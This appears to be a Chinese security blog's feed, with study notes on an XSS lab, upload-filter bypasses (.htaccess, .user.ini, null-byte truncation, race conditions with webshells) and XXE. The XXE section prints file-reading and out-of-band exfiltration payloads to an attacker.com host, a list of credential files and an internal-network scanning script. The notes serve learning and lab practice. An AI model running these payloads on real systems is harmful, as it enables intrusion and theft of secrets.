document.querySelector(&#x27;#main-modal p&#x27;)</span><br><span class="line">      titleDOM.innerHTML = title</span><br><span class="line">      contentDOM.innerHTML = content</span><br><span class="line">      window[&#x27;main-modal&#x27;].classList.remove(&#x27;hide&#x27;)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    window[&#x27;main-form&#x27;].onsubmit = function(e) &#123;</span><br><span class="line">      e.preventDefault()</span><br><span class="line">      var inputName = window[&#x27;name-field&#x27;].value</span><br><span class="line">      var isFirst = document.querySelector(&#x27;input[type=radio]:checked&#x27;).value</span><br><span class="line">      if (!inputName.length) &#123;</span><br><span class="line">        showModal(&#x27;Error!&#x27;, &quot;It&#x27;s empty&quot;)</span><br><span class="line">        return</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      if (inputName.length &gt; 24) &#123;</span><br><span class="line">        showModal(&#x27;Error!&#x27;, &quot;Length exceeds 24, keep it short!&quot;)</span><br><span class="line">        return</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      window.location.search = &quot;?q=&quot; + encodeURIComponent(inputName) + &#x27;&amp;first=&#x27; + isFirst</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    if (location.href.includes(&#x27;q=&#x27;)) &#123;</span><br><span class="line">      var uri = decodeURIComponent(location.href)</span><br><span class="line">      var qs = uri.split(&#x27;&amp;first=&#x27;)[0].split(&#x27;?q=&#x27;)[1]</span><br><span class="line">      if (qs.length &gt; 24) &#123;</span><br><span class="line">        showModal(&#x27;Error!&#x27;, &quot;Length exceeds 24, keep it short!&quot;)</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        showModal(&#x27;Welcome back!&#x27;, qs)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>关注一下这一个<br><code>window.location.search = &quot;?q=&quot; + encodeURIComponent(inputName) + &#39;&amp;first=&#39; + isFirst</code> 也就是说当我输入名字时 其实是这样子的<code>q=名字&amp;first=yes</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// 1. 判断当前页面URL是否包含 &quot;q=&quot; 字符串</span><br><span class="line">if (location.href.includes(&#x27;q=&#x27;)) &#123;</span><br><span class="line">  // 2. 解码URL（处理URL中被编码的特殊字符，比如空格、中文等）</span><br><span class="line">  var uri = decodeURIComponent(location.href)</span><br><span class="line">  // 3. 提取?q=后面、&amp;first=前面的内容</span><br><span class="line">  var qs = uri.split(&#x27;&amp;first=&#x27;)[0].split(&#x27;?q=&#x27;)[1]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里定义了两个参数 qs也就是用户输入的 它提取出来了 uri 存储解码后的完整 URL。<br><code>decodeURIComponent()</code>：URL 解码函数。因为浏览器会把 URL 中的特殊字符（比如中文、空格、&amp;、&#x3D; 等）编码成百分号形式<br>意思是检查的长度24只是在q&#x3D;后面、&amp;first&#x3D;前面的内容<br>重新看一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">titleDOM.innerHTML = title</span><br><span class="line">      contentDOM.innerHTML = content  </span><br></pre></td></tr></table></figure><p>把上面记得搬过来 基于 DOM 的 XSS漏洞 存在于客户端代码而不是服务器端代码中。<br>那么之前看uri变量 用到换行符 真正执行的<code>alert(document.domain)</code>不计入长度检测就可以了<br>关于在js里换行符的知识 先解释JS 的解析逻辑<br>按行扫描 行内必须是合法 JS 新的一行是新的语句开始点<br>例如<br><code>eval(&quot;https://example.com\r\nalert(1)&quot;)</code><br>其实是等价于<br><code>alert(1)</code><br>对于换行符的边界<br><img src="/images/25.png"><br>在JS里面 比较宽松 这两个都能作为LineTerminator（这一行代码结束了，下一行可以当作一条新的语句重新解析）<br>但是<br>HTTP 协议规范规定：一行头必须以 CRLF 结尾<br>也就是CRLF的兼容性比较大<br>那么 <code>eval(&quot;https://... ?q=...&amp;first=yes\r\nalert(document.domain)&quot;)</code><br>实际上执行的也就是alert(document.domain)<br>payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?q=&lt;svg/onload=eval(uri)&gt;&amp;first=yes%0aalert(document.domain)`</span><br></pre></td></tr></table></figure><p>还有一点 无论长度限制 这里都没法用<code>&lt;script&gt;</code><br>发生注入的位置</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">contentDOM.innerHTML = qs</span><br></pre></td></tr></table></figure><p>关键规则<br>通过 <code>innerHTML</code> 动态插入的 <code>&lt;script&gt;</code> 标签，默认不会执行<br><img src="/images/26.png"><br>这个题并不是页面初始 HTML 解析阶段<br><code>contentDOM.innerHTML = qs</code> 把字符串「当 HTML 解析」然后再插入 DOM 树<br>之前完全忽略了这一点 </p>]]>
    </content>
    <id>http://47.109.24.42/2025/12/28/xss%E5%AD%A6%E4%B9%A0%E4%BB%A5%E5%8F%8A%E9%9D%B6%E5%9C%BA/</id>
    <link href="http://47.109.24.42/2025/12/28/xss%E5%AD%A6%E4%B9%A0%E4%BB%A5%E5%8F%8A%E9%9D%B6%E5%9C%BA/"/>
    <published>2025-12-28T13:00:00.000Z</published>
    <summary>
      <![CDATA[<ul>
<li><h4 id="什么是xss"><a href="#什么是xss" class="headerlink" title="什么是xss"></a>什么是xss</h4></li>
</ul>
<p>跨站脚本攻击 原理是操纵存在漏洞的网站，使其向用户返回恶意 Jav]]>
    </summary>
    <title>xss学习以及靶场</title>
    <updated>2025-12-28T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<ol><li>前端验证 可以禁用js 或者是先改后缀 然后抓包改</li><li>检查content-type 抓包改</li><li>在apache文件里面看哪些后缀会被作为php文件解析 php php3 phtml</li><li>.htaccess 是Apache 服务器专属的 “分布式配置文件”（Nginx&#x2F; IIS 服务器不支持) 作用是 “局部配置”：不用修改 Apache 的主配置文件，只需把.htaccess 放在某个目录下，就能对这个目录及所有子目录生效；修改后不用重启 Apache 服务器，保存就生效<br>那么这里的攻击就是先上传恶意的.htaccess 文件修改目录解析规则，再上传伪装成普通文件的恶意脚本，让服务器把这些 “伪装文件” 当作 PHP 等脚本解析执行。前提是上传目录的 Apache 配置中，AllowOverride被设为All（允许.htaccess 覆盖解析规则，默认部分服务器会开启）那么直接加上解析规则</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddType application/x-httpd-php .jpg .png</span><br></pre></td></tr></table></figure><p>之后传个马<br>5. .user.ini PHP（CGI&#x2F;FastCGI 模式）的目录级配置文件 PHP 解释器（PHP-FPM）是独立于 Web 服务器的进程，它会按 “目录” 维度扫描配置文件（比如.user.ini），实现 “不同目录用不同配置”；也就是说这个题只能在这个情况下才有作用 但是所有服务器都支持 与.htaccess不一样<br>关键配置</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">auto_prepend_file=文件名：每个 PHP 文件执行前，自动包含（引入）指定文件；</span><br><span class="line">auto_append_file=文件名：每个 PHP 文件执行后，自动包含指定文件。</span><br></pre></td></tr></table></figure><p>这里假设我传上去的是1.jpg 然后访问readme.php<br>服务端把1.jpg 里的内容读出来，跟 readme.php 的代码合并在一起，再执行整个合并后的代码。<br>6. 大小写绕过 Web 服务器默认不区分文件后缀的大小写，是解析规则导致的<br>7. 尾部加空格 Windows 自动截断空格，Linux 下服务器解析时忽略末尾空白字符；<br>8. 尾部加点 Windows NTFS 文件系统专属的文件名解析特性导致的（Linux 系统无此问题）说到NTFS 它是 Windows 管理硬盘文件的 “规则集” —— 规定了文件如何存储、命名、权限控制、数据安全等核心逻辑 包括下面的支持 备用数据流（ADS）::DATA 绕过<br>9. 在php文件附加数据流不会验证后缀 Windows 解析文件名时，会 自动忽略 ::DATA 及其后面的内容（只识别前面的文件名），所以 shell.php::DATA.jpg 会被当成 shell.php 处理 —— 这就是 ::DATA 绕过的本质。<br>10. .php. .<br>11. 双写绕过<br>12.  %00强制截断，他在url编码里面对印的是\0（空字符），可以直接被认为是结束符，不再读取后面的部分，我们看源码，首先首先，还是必须要绕过这个白名单验证，直接改后缀为这三个当中的一个就可以，最重要的是他是get储存路径里面的文件，原来的文件对应的就是upload里面的我们上传的不能被解析为php的东西，我们直接%00截断，在路径后面直接加上.php的文件，然后截断，服务器就会得到的是.php的东西，绕过。（php5.2特有漏洞·）<br>13. POST 改为00<br>14. 只检查文件头 因为有文件包含漏洞 所以没必要按着wp做 直接做个图片马也可以 换文件头也可以<br>15. getimagesize()，这个该函数是获取文件基础信息，依次是宽，高，常量（记录类型的），类型，然后下一个image_type_to_extention()，就用上面得到的常量来得到后缀 图片马<br>16. exif_imagetype()，是只获取文件类型的函数，相比于getimagetype()，虽然获取的类型更少了，但是获取的准确性和速度都更快了 图片马<br>17. 二次渲染的地方重新插入一句话木马，就不会被破坏。那么得到二次渲染后的图片，就上传，然后得到时间戳，就用文件本身的include漏洞绕过就可以。<br>18. 执行move_uploaded_file($temp_file, $upload_file)时，文件已经被上传到服务器的UPLOAD_PATH目录  之后才检查后缀是否合法，即使后缀不合法，文件也已经在服务器上存在了短暂的时间  那么在执行unlink之前 去执行木马文件 这里用的yakit 放一个能生成小马的木马 然后一直放 另一边一直访问就可以</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php                                                                     ?&gt;&#x27;);</span><br></pre></td></tr></table></figure><ol start="19"><li>也是条件竞争 但是加了一点服务端本身可利用的特性 使用 Apache 的网站解析文件名时从右往左看，如果第一个后缀无法解析将会解析下一个后缀 7z 是 Apache 服务器默认不会解析的后缀名 .php.7z 然后条件竞争去访问 生成小马</li><li>看黑名单，没有.ini，那么可以向第五关那样子，先自己搞一个.user.ini文件，里面auto_prepend_file&#x3D;.jpg(要求的都可以)，然后上传写的这个带有一句话木马的文件就可以。或者这上面获取后缀的方式是最后一次出现点之后的可以1.php.     （加空格绕过），得到的后缀是空的，绕过黑名单。</li><li>这个检查方式有点奇妙 大概就是以.来分割 然后把储存的文件改成<code>$file[0].$file[元素个数-1]</code> 还要保证最后一个元素在白名单里面 漏洞原理就是形成一个数组的漏洞 让数组之间有一个是空的 最后指向的是它<img src="/images/10.png"></li></ol>]]>
    </content>
    <id>http://47.109.24.42/2025/01/07/upload%E9%9D%B6%E5%9C%BA%E9%87%8D%E5%81%9A/</id>
    <link href="http://47.109.24.42/2025/01/07/upload%E9%9D%B6%E5%9C%BA%E9%87%8D%E5%81%9A/"/>
    <published>2025-01-07T10:00:00.000Z</published>
    <summary>
      <![CDATA[<ol>
<li>前端验证 可以禁用js 或者是先改后缀 然后抓包改</li>
<li>检查content-type 抓包改</li>
<li>在apache文件里面看哪些后缀会被作为php文件解析 php php3 phtml</li>
<li>.htaccess 是Apach]]>
    </summary>
    <title>upload靶场重做</title>
    <updated>2025-01-07T10:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h4 id="什么是XXE"><a href="#什么是XXE" class="headerlink" title="什么是XXE"></a>什么是XXE</h4><p>XXE(XML External Entity Injection) 全称为 XML 外部实体注入 XML注入 在极客2025里面做过的 用svg标签来得到 当然太局限局限了 继续往下看 XML 文件可以通过 “外部实体”（DOCTYPE 声明中的 ENTITY）引用外部资源，但如果服务器的 XML 解析器未禁用外部实体加载，攻击者就能构造恶意 XML 内容，诱导解析器执行非法操作（比如读取服务器本地文件、访问内部网络等）。</p><h4 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h4><ul><li>DTD 简单说简单说，DTD 是 XML 的 “格式说明书”：<br>规定 XML 里能出现哪些元素、属性；<br>定义元素的嵌套顺序、次数；<br>统一不同 XML 文档的格式（比如数据交换时保证双方的 XML 结构一致）</li><li>分为 <strong>内部 DTD</strong>：直接写在 XML 文档里（用<code>&lt;!DOCTYPE&gt;</code>声明）和 <strong>外部 DTD</strong>：写在单独的文件里，XML 通过<code>SYSTEM</code>或<code>PUBLIC</code>引用</li><li>ENTITY 可被替换展开的占位符 其实就相当于</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE test [</span><br><span class="line">  &lt;!ENTITY name &quot;Alice&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;user&gt;</span><br><span class="line">  &lt;username&gt;&amp;name;&lt;/username&gt;</span><br><span class="line">&lt;/user&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>把name换成了Alice 下面的&amp;是引用前面的</p><ul><li><strong>SYSTEM</strong> —— “直接指定位置”</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY 实体名 SYSTEM &quot;URI&quot;&gt;</span><br></pre></td></tr></table></figure><p>其实就是 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt;</span><br></pre></td></tr></table></figure><p>等于直接读取 &#x2F;etc&#x2F;passwd 内容<br>还可以发送http请求 比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY xxe SYSTEM &quot;http://127.0.0.1:8080/admin&quot;&gt;</span><br></pre></td></tr></table></figure><p>是向 127.0.0.1 发起 HTTP 请求</p><p><strong>PUBLIC —— 给一个名字，你自己找</strong>(xxe基本用不到 了解一下)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY 实体名 PUBLIC &quot;公共标识符&quot; &quot;URI&quot;&gt;</span><br></pre></td></tr></table></figure><p>一般的例子</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html PUBLIC</span><br><span class="line">  &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span><br><span class="line">  &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;</span><br></pre></td></tr></table></figure><p>前面是一套公共的标准 大概就是规范化命名格式 后面就是System Identifier（系统标识符）给一个找东西的参考地址</p><ul><li><strong>通用实体</strong> 用 &amp;实体名; 引用的实体</li><li><strong>参数实体</strong> 使用 % 实体名(这里面空格不能少) 在 DTD 中定义，并且只能在 DTD 中使用 %实体名 文章里面讲的没有太细 看输了概念觉得也不需要很细 毕竟攻击的源头其实是他们的外部引用 但是这里文章说 参数实体在我们 Blind XXE 中起到了至关重要的作用 边看边记录了</li></ul><h4 id="XXE攻击"><a href="#XXE攻击" class="headerlink" title="XXE攻击"></a>XXE攻击</h4><ul><li><strong>有回显读本地敏感文件(Normal XXE)</strong><br>其实就是用简单的引用外部实体去得到服务器上的文件 需要满足<br>服务器 解析了 XML<br>实体被展开<br>展开的内容 被返回给你看</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE user [</span><br><span class="line">  &lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;user&gt;</span><br><span class="line">  &lt;name&gt;&amp;xxe;&lt;/name&gt;</span><br><span class="line">&lt;/user&gt;</span><br></pre></td></tr></table></figure><p>假设  然后后端发现 &xxe;<br>查实体表<br>发现是 外部实体<br>读取 <code>file:///etc/passwd</code><br>把读取到的内容 当成普通文本插进去<br>文章这里提到的情况 如果要读取的是有一些特殊情况的文件 比如在XML中，有时实体内包含了些字符，如&amp;,&lt;,&gt;,”,’等。这些均需要对其进行转义，否则会对XML解释器生成错误<br>用到CDATA<br>CDATA 是：<br>告诉 XML 解析器——“这里面的内容当作纯文本，不要当成 XML 语法来解析”</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;![CDATA[</span><br><span class="line">  这里面的内容不会被当成 XML 解析</span><br><span class="line">]]&gt;</span><br></pre></td></tr></table></figure><p>对于xml中 不能通过拼接 因为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY ...&gt; 只能出现在 DTD</span><br><span class="line">XML 正文已经是结构阶段 这时候不能定义规则 只能使用已经定义好的规则 而在 DTD 中，唯一能拼的工具就是：参数实体</span><br></pre></td></tr></table></figure><p>这里直接写上那个例子的payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; </span><br><span class="line">&lt;!DOCTYPE roottag [</span><br><span class="line">&lt;!ENTITY % start &quot;&lt;![CDATA[&quot;&gt;   </span><br><span class="line">&lt;!ENTITY % goodies SYSTEM &quot;file:///d:/test.txt&quot;&gt;  </span><br><span class="line">&lt;!ENTITY % end &quot;]]&gt;&quot;&gt;  </span><br><span class="line">&lt;!ENTITY % dtd SYSTEM &quot;http://ip/evil.dtd&quot;&gt; </span><br><span class="line">%dtd; ]&gt; </span><br><span class="line"></span><br><span class="line">&lt;roottag&gt;&amp;all;&lt;/roottag&gt;</span><br></pre></td></tr></table></figure><p><strong>evil.dtd</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; </span><br><span class="line">&lt;!ENTITY all &quot;%start;%goodies;%end;&quot;&gt;</span><br></pre></td></tr></table></figure><ul><li><strong>无回显读取本地敏感文件(Blind OOB XXE)</strong><br>一般的都是没有回显的 能解析XML同时还能回显出来 情况太少了<br>所以 以下的方式 把“本地文件内容” → 放进“外部请求” → 发给攻击者<br>攻击流程固定为三步：<br>1️⃣ 在主 XML 中引入攻击者控制的外部 DTD<br>2️⃣ 在外部 DTD 中使用<strong>参数实体</strong>读取本地文件（<code>SYSTEM file://</code>）<br>3️⃣ 将文件内容拼接进外部请求 URL，强制解析器对攻击者服务器发起请求</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE root [</span><br><span class="line">  &lt;!ENTITY % ext SYSTEM &quot;http://attacker.com/evil.dtd&quot;&gt;</span><br><span class="line">  %ext;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;root&gt;test&lt;/root&gt;</span><br></pre></td></tr></table></figure><p>evil.dtd</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY % file SYSTEM &quot;file:///etc/passwd&quot;&gt;</span><br><span class="line">&lt;!ENTITY % send SYSTEM &quot;http://attacker.com/leak?data=%file;&quot;&gt;</span><br><span class="line">%send;</span><br></pre></td></tr></table></figure><p>这是http协议里面的 极客里面做过dns（这个确实不好防 主要是将域名解析为 IP 地址这个可以说是挺必要的了 防火墙很少拦 DNS）的外带 在DNS日志里面能直接看到敏感信息<br><img src="/images/9.png"><br>这里记一下支持的协议<br>文章下面与一些常可探测且有价值的文件相关 下面记一下敏感文件</p><h3 id="etc-network-interfaces"><a href="#etc-network-interfaces" class="headerlink" title="/etc/network/interfaces"></a><code>/etc/network/interfaces</code></h3><ul><li><p>网络接口配置文件（Debian &#x2F; Ubuntu）</p></li><li><p>包含：IP、网关、网卡名称、DHCP 配置</p></li><li><p>价值：</p><ul><li><p>判断内网网段</p></li><li><p>判断是否在云 &#x2F; 容器 &#x2F; 内部网络</p></li></ul></li></ul><hr><h3 id="proc-net-arp"><a href="#proc-net-arp" class="headerlink" title="/proc/net/arp"></a><code>/proc/net/arp</code></h3><ul><li><p>ARP 缓存表</p></li><li><p>包含：内网 IP ↔ MAC 映射</p></li><li><p>价值：</p><ul><li><p>枚举内网存活主机</p></li><li><p>判断是否存在网关、网桥、容器网络</p></li></ul></li></ul><hr><h3 id="etc-hosts"><a href="#etc-hosts" class="headerlink" title="/etc/hosts"></a><code>/etc/hosts</code></h3><ul><li><p>本地域名解析文件</p></li><li><p>包含：内部域名 → 内网 IP</p></li><li><p>价值：</p><ul><li><p>泄露内部服务名称（db、redis、api）</p></li><li><p>为 SSRF &#x2F; 内网访问提供指引</p></li></ul></li></ul><h2 id="Linux-常见敏感文件分类（重点）"><a href="#Linux-常见敏感文件分类（重点）" class="headerlink" title="Linux 常见敏感文件分类（重点）"></a>Linux 常见敏感文件分类（重点）</h2><h3 id="1️⃣-用户与身份信息"><a href="#1️⃣-用户与身份信息" class="headerlink" title="1️⃣ 用户与身份信息"></a>1️⃣ 用户与身份信息</h3><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>/etc/passwd</code></td><td>用户列表</td></tr><tr><td><code>/etc/group</code></td><td>用户组</td></tr><tr><td><code>/etc/shadow</code></td><td>密码哈希（高权限）</td></tr></tbody></table><hr><h3 id="2️⃣-系统与基础环境信息"><a href="#2️⃣-系统与基础环境信息" class="headerlink" title="2️⃣ 系统与基础环境信息"></a>2️⃣ 系统与基础环境信息</h3><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>/etc/hostname</code></td><td>主机名</td></tr><tr><td><code>/etc/os-release</code></td><td>系统版本</td></tr><tr><td><code>/proc/version</code></td><td>内核信息</td></tr><tr><td><code>/proc/cpuinfo</code></td><td>CPU 信息</td></tr></tbody></table><hr><h3 id="3️⃣-网络与内网结构（侦察核心）"><a href="#3️⃣-网络与内网结构（侦察核心）" class="headerlink" title="3️⃣ 网络与内网结构（侦察核心）"></a>3️⃣ 网络与内网结构（侦察核心）</h3><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>/etc/resolv.conf</code></td><td>DNS 服务器</td></tr><tr><td><code>/proc/net/route</code></td><td>路由表</td></tr><tr><td><code>/proc/net/arp</code></td><td>内网主机</td></tr><tr><td><code>/etc/network/interfaces</code></td><td>网卡配置</td></tr></tbody></table><hr><h3 id="4️⃣-进程-容器-云环境判断（非常重要）"><a href="#4️⃣-进程-容器-云环境判断（非常重要）" class="headerlink" title="4️⃣ 进程 &#x2F; 容器 &#x2F; 云环境判断（非常重要）"></a>4️⃣ 进程 &#x2F; 容器 &#x2F; 云环境判断（非常重要）</h3><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>/proc/1/cgroup</code></td><td>判断 Docker &#x2F; K8s</td></tr><tr><td><code>/proc/self/cgroup</code></td><td>当前进程环境</td></tr><tr><td><code>/proc/1/environ</code></td><td><strong>PID 1 环境变量（核心）</strong></td></tr></tbody></table><hr><h3 id="5️⃣-配置文件与凭据（价值最高）"><a href="#5️⃣-配置文件与凭据（价值最高）" class="headerlink" title="5️⃣ 配置文件与凭据（价值最高）"></a>5️⃣ 配置文件与凭据（价值最高）</h3><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>/var/www/html/.env</code></td><td>Web 应用环境变量</td></tr><tr><td><code>/app/.env</code></td><td>容器应用配置</td></tr><tr><td><code>/root/.ssh/id_rsa</code></td><td>SSH 私钥</td></tr><tr><td><code>/home/*/.ssh/authorized_keys</code></td><td>登录授权</td></tr><tr><td>文章里脚本的原理就是将目标服务器当作“内网代理”，通过 SSRF 扫描内网 HTTP 服务 然后还套了base64 保证外带正常 脚本先记一下吧</td><td></td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import base64</span><br><span class="line"></span><br><span class="line">#Origtional XML that the server accepts</span><br><span class="line">#&lt;xml&gt;</span><br><span class="line">#    &lt;stuff&gt;user&lt;/stuff&gt;</span><br><span class="line">#&lt;/xml&gt;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def build_xml(string):</span><br><span class="line">    xml = &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;&quot;&quot;&quot;</span><br><span class="line">    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY &gt;&quot;&quot;&quot;</span><br><span class="line">    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&lt;!ENTITY xxe SYSTEM &quot;&quot;&quot; + &#x27;&quot;&#x27; + string + &#x27;&quot;&#x27; + &quot;&quot;&quot;&gt;]&gt;&quot;&quot;&quot;</span><br><span class="line">    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&lt;xml&gt;&quot;&quot;&quot;</span><br><span class="line">    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;    &lt;stuff&gt;&amp;xxe;&lt;/stuff&gt;&quot;&quot;&quot;</span><br><span class="line">    xml = xml + &quot;\r\n&quot; + &quot;&quot;&quot;&lt;/xml&gt;&quot;&quot;&quot;</span><br><span class="line">    send_xml(xml)</span><br><span class="line"></span><br><span class="line">def send_xml(xml):</span><br><span class="line">    headers = &#123;&#x27;Content-Type&#x27;: &#x27;application/xml&#x27;&#125;</span><br><span class="line">    x = requests.post(&#x27;http://34.200.157.128/CUSTOM/NEW_XEE.php&#x27;, data=xml, headers=headers, timeout=5).text</span><br><span class="line">    coded_string = x.split(&#x27; &#x27;)[-2] # a little split to get only the base64 encoded value</span><br><span class="line">    print coded_string</span><br><span class="line">#   print base64.b64decode(coded_string)</span><br><span class="line">for i in range(1, 255):</span><br><span class="line">    try:</span><br><span class="line">        i = str(i)</span><br><span class="line">        ip = &#x27;10.0.0.&#x27; + i</span><br><span class="line">        string = &#x27;php://filter/convert.base64-encode/resource=http://&#x27; + ip + &#x27;/&#x27;</span><br><span class="line">        print string</span><br><span class="line">        build_xml(string)</span><br><span class="line">    except:</span><br><span class="line">continue</span><br></pre></td></tr></table></figure><p>还有利用bp的端口遍历 和前面扫整个网段原理没大区别<br>文章下面的那道题只能看的懂原理 主要记录一下<br>libxml（PHP 默认 XML 解析器）的读取文件不能过大的特殊性 以及破解的方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">压缩：php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd  </span><br><span class="line">解压：php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1</span><br></pre></td></tr></table></figure><h4 id="jar-url-path"><a href="#jar-url-path" class="headerlink" title="jar:{url}!{path}"></a>jar:{url}!{path}</h4><p>jar 能从远程获取 jar 文件，然后将其中的内容进行解压<br>jar 协议处理文件的过程：<br>(1) 下载 jar&#x2F;zip 文件到临时文件中<br>(2) 提取出我们指定的文件<br>(3) 删除临时文件<br>首先对于有回显的xxe jar可以作为得到文件回显的一种方式 